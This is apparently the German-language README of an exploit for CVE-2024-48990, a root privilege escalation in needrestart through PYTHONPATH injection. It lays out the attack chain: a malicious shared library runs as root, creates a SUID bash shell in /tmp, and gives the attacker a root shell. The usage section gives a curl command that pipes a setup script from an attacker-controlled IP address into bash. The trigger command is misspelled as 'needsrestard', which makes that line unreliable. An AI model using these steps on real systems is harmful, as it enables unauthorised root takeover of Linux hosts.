CVE-2024-48990 Exploit

Lokale Rechteausweitung in needrestart < 3.8 durch PYTHONPATH-Injection.

So funktioniert es

1. needrestart läuft als root und scannt alle Prozesse
2. Findet unseren Python-Prozess, liest PYTHONPATH=/tmp/.m aus /proc/[pid]/environ
3. Führt Python als root mit unserem bösartigen PYTHONPATH aus
4. Pythons Import lädt /tmp/.m/importlib/__init__.so (unsere bösartige Bibliothek)
5. Konstruktor in .so wird als root ausgeführt, bevor Python überhaupt startet
6. Erstellt SUID-bash unter /tmp/rootbash
7. Führe /tmp/rootbash -p für eine Root-Shell aus

Kernpunkt: needrestart vertraut Umgebungsvariablen von nicht privilegierten Prozessen und verwendet sie, wenn es Interpreten als root ausführt.

Verwendung

Angreifer:

./compile.sh
python3 -m http.server 8000

Ziel:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

Der e.py-Prozess sollte hängen bleiben und root starten, sobald Folgendes von einem zweiten Terminal aus ausgeführt wird:

sudo needsrestard

das erste Terminal startet eine Root-Shell.

Credits

Qualys Threat Research Unit - CVE-2024-48990